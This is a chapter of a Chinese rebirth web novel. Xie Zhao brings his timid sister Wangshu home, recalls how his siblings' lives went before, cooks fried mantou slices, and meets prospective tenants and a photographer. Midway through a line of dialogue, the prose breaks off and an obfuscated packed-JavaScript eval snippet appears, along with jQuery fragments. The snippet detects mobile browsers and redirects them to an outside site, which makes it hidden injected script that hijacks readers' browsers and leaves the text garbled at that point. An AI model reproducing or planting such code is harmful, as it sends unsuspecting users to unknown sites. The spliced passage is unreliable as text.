寒冬腊月,谢昭看着谢望舒明明相貌清秀,一双眼睛水汪汪的,可却穿着不合身的棉袄,人也显得有些许瑟缩的模样,叹了口气,招了招手,道:“望舒,走,上车,哥带你回家待会。”
谢望舒后退一步,却道:“大哥,我、我得回去姑奶奶家了。姑奶奶让我中午饭的时候必须回去。”
谢昭心道,必须那会回去给家里送包子是吧?
他对于谢桂花和谢广柱的贪婪早有领教,此时倒也不多问,只道:“唔,没事,你先跟大哥回家,下午帮着大哥干活,包些包子,晚上时候,你带着包子回去,姑奶奶他们不会怪你的。”
对谢昭来说,为了能让谢望舒能过得舒服些,包子是可以给的。但是,必须让谢望舒在他这里多待些时候,不必一直在谢桂花家里憋屈着。
谢昭原本想着,这辈子,既然把谢老爷子偷偷告诉给谢朝曦的那些钱给拿了出来,没让谢朝曦把钱都偷偷给了谢广柱,而是分给了带走了几个弟弟妹妹的人,并且让对方承诺了不会让几个弟弟妹妹干活吃苦,那么,在这件事发生后的几个月之内,他这几个弟弟妹妹应当不会再吃什么苦头。
结果……
还是错料了人心。
谢桂花那家人,的确没让谢望舒干活,但显然也没让向来敏感多思的谢望舒好过。单单是语言上的指桑骂槐,就够谢望舒受的了。
反而是向来自私且心大的谢朝曦,估计能过得挺好。毕竟,旁人的三言两语,他笑嘻嘻的就能怼回去,一副他就是理所当然的该受着谢广柱家最好的待遇,谢广柱家里有人不乐意,那就把“抚养费”还给他,他就会嚷嚷着那就把钱还给他,他再找个亲戚抚养他。
谢朝曦虽说自私了些,但反而自私的人,往往能过得更好。
前世时候,谢望舒因为太过心软,认为自己应该“长姐为母”,对待谢朝曦的要求,几乎都答应了。后来嫁给了家暴男,险些被打死,等被救回来后,谢昭要为其主持公道,与家暴男离婚,并分走其一半财产,以及谢朝曦拿走的聘礼,也必须全都还给谢望舒。
然而谢望舒被教导的太过软弱怯懦,认为自己什么都不配争,最后即便有谢昭送过去的保镖和律师在,她也只跟家暴男索要了她这段时间的治疗费用和医药费,坚持要把这些还给了谢昭。剩下的,谢昭为她争取的钱,无论是婚内财产还是被谢朝曦拿走的聘礼,她全都不肯要。
彼时的谢望舒说,不是她自己挣得的钱,就不是她该得的,就是从家暴男那里拿的那部分治疗费用,也是为了还给大哥。等她工作了,赚了足够的钱,还会把那些钱还给前夫。
谢昭:“???”
他除了能帮着谢望舒找一份轻松的不影响她身体恢复的工作外,以及让谢望舒在看身体上的疾病之余,还要定期去看心理医生外,着实也是真的没办法了。
而谢朝曦则是在年少时,稀里糊涂的过了几年,还偷溜到南方一段时间,吃尽苦头,好容易被谢昭给找回来后,痛定思痛,在大哥的教育下开始好好考大学。
然后在缺钱的时候,收了姐姐的巨额彩礼,在最好的时机,用这笔钱在他读大学的城市付了首付买了房子,用谢昭给他的生活费还房贷,自己在学校打工赚生活费。因为大哥的严苛教导,读的大学不错,专业也不错,毕业就找到了很不错的工作。
后来还交了个白富美的女朋友,把以往的恶习都改了,变成了个正经的好人。
谢昭彼时看着这样一母同胞的姐弟二人,就觉十分无语。偏偏二人都觉得自己已经在大哥的帮助下,过得挺好了。
重生回来,谢昭肯定还是会对这两个弟弟妹妹负责的,但是,让他对谢朝曦,像前世那样尽心尽力,苦口婆心的教导和督促其读书和改邪归正,那大约也是不可能的了。
因为谢昭发现,谢朝曦后来口头愧疚的承诺,要把谢望舒的彩礼钱还给她,但谢望舒一表示不要,他就没有再提这件事。
谢朝曦很可能没有如他所说的改邪归正,变成一个世俗意义上的好人,好弟弟。他只是学会了隐藏,他已经成年了,没有未成年的身份来掩盖他的自私和本性,必须更加适应这个社会的生存环境。
而对谢望舒……
谢昭知道,就算是在他最艰难和难堪的时候,谢望舒都是一直站在他这边的,即便面对他的同|性|恋身份,谢望舒也只是哭,问他能不能改,并没有指责过他半句不是。
后来他以那样的身份,不明不白的跟了那个人,谢望舒在发现不对劲后,也很快猜到了他的不得已,哭着跟他道歉。
对于谢昭来说,这样一个妹妹,即便有明显的性格缺陷,却并不全是她的错,而是生长环境的问题。谢昭对于谢望舒,比对谢朝曦的耐心多多了。
他看着依旧有几分迟疑的谢望舒,笑道:“怎么,不相信大哥的话了么?”
在寒风中被冻得瑟瑟发抖的少女,登时眼睛亮了起来,道:“我信!大哥,你说什么我都信!”
然后就坐在了三轮车的边缘,跟着大哥,回家去了。
谢望舒想,她是多么想要永远跟着大哥。就算大哥没有钱,就算跟着大哥要干活,可是,她知道的,无论是以前在家里时,还是此刻她必须住在姑奶奶家时,只有大哥会护着她。
可是,姑奶奶一定不会愿意的。
谢望舒想到这里,心里很是难过,但随即又开心起来。至少,开心一时是一时。
谢昭就这样带着谢望舒回家了。
家里谢朝光、谢婵娟和谢初景三个看到谢望舒也回来了,当即高兴的拉着谢望舒的手,欢呼起来。
“二姐,我们好想你啊!”
“二姐你唱歌好听,我每次睡不着,就假装你还在我耳边唱歌给我听。”
“二姐,你抱抱我,你抱抱我。二姐身上有妈妈的味道,我想妈妈了,二姐你抱抱我好不好?”
……
谢望舒听得心都要碎了,抱起了最小的谢初景,想了想,又去看大哥。
谢昭微笑道:“朝光给你二姐拿桃酥来垫垫,婵娟给你二姐倒杯水。望舒你跟他们聊一会,我去给你煮碗面。”
谢望舒立刻道:“不用了大哥,家里有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371569|183438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
馒头吗?给我个馒头,和一碗热水就够了。”
谢昭闻言,心道,这其实是被养母洗脑了的。谢家人口多,但偶尔的时候,还是有家里只有养母、他和望舒三个人的时候。
每每这个时候,养母都是不做饭的。就从厨房里拿来凉冰冰的馒头和热水,三个人一人分一个馒头,一碗热水,跟他们讲些忆苦思甜的话,表示白面馒头在她小时候都是难得的好东西,现在一顿饭他们能吃一个馒头,就很幸福了。家里只有他们三个不挣钱的在,不必多做什么饭菜,那太浪费了。
但是每每谢朝曦或者养父在家的时候,养母都会去折腾着做饭做菜,也不会再说这些“忆苦思甜”或者浪费的话。
谢望舒被洗脑了,现在还习惯性的觉得,馒头加热水就够了。毕竟,她不是饭点过来的。
谢昭道:“家里还没穷到那个份上。”想了想,又道,“那就做些炸馒头片,大家都可以吃些。”
炸馒头片十分方便,将馒头切片后,锅烧热,倒油,将馒头片一片一片蘸取调好的加了少许盐的蛋液,充分吸收蛋液,最后放入锅中煎至两面金黄即可出锅。
做完之后,谢昭想了想,其实觉得还可以做个土豆白菜汤,这样几个小朋友吃着,就不会觉得太噎着了。
正当他端着两盘炸馒头片出来,想把东西送到屋子里时,就听到有人扣大门的声音。
谢昭一怔,屋子里的谢望舒就出来了,见到谢昭做的馒头片,裹满了金光色的蛋液,愣了一下。显然没料到大哥做个炸馒头片,都这般实诚。
谢昭把两盘香喷喷的馒头片递了过去,道:“你先进去,我去开门。”
打开门后,是一对穿着看着挺一般的中年夫妻。
然而女人耳朵上戴着两只金耳环,手腕上戴着一只金镯子,男人手上戴着一只金表,两人都是圆圆脸,笑得很慈和的模样。
谢昭怔了怔,看到男人正在往他身后的三层小楼上看,女人在打量家里的院子,就明白过来了——这是和小周一样,想要租赁他家的院子,开小饭桌的人。
小周遇事犹豫,觉得自己要花爸妈的钱,他必须要去省城见识一下那里的小饭桌,才好跟谢昭租下这套小院,免得自己这一创业,一旦失败,就要把爸妈的钱都赔进去了;
但那一天,谢昭是在面馆,当着好几个人的面提及小饭桌的事情的,这件事被旁人听到了,传扬出去,当然也会有别的有眼光的人,找上门来。
这不,这就找上门来了。
找上门来的还不只是想租赁小院的人,还有那个偷|拍谢昭的摄影师。
这位摄像师这次没有戴他的相机,搓了搓手,笑道:“我是来买包子的。”
是雇佣他的那位大老板,在听他汇报,提到谢昭在寒风里卖包子,为了包子能卖出去,连帽子都不戴的时候,沉默了良久,让他来买包子,放在冰箱里冻好后,明天一早做飞机回京城。
把包子和照片底片都带回去。
谢昭看着摄影师,就知道真正想买包子的人是谁了。
他轻轻的“嗯”了一声。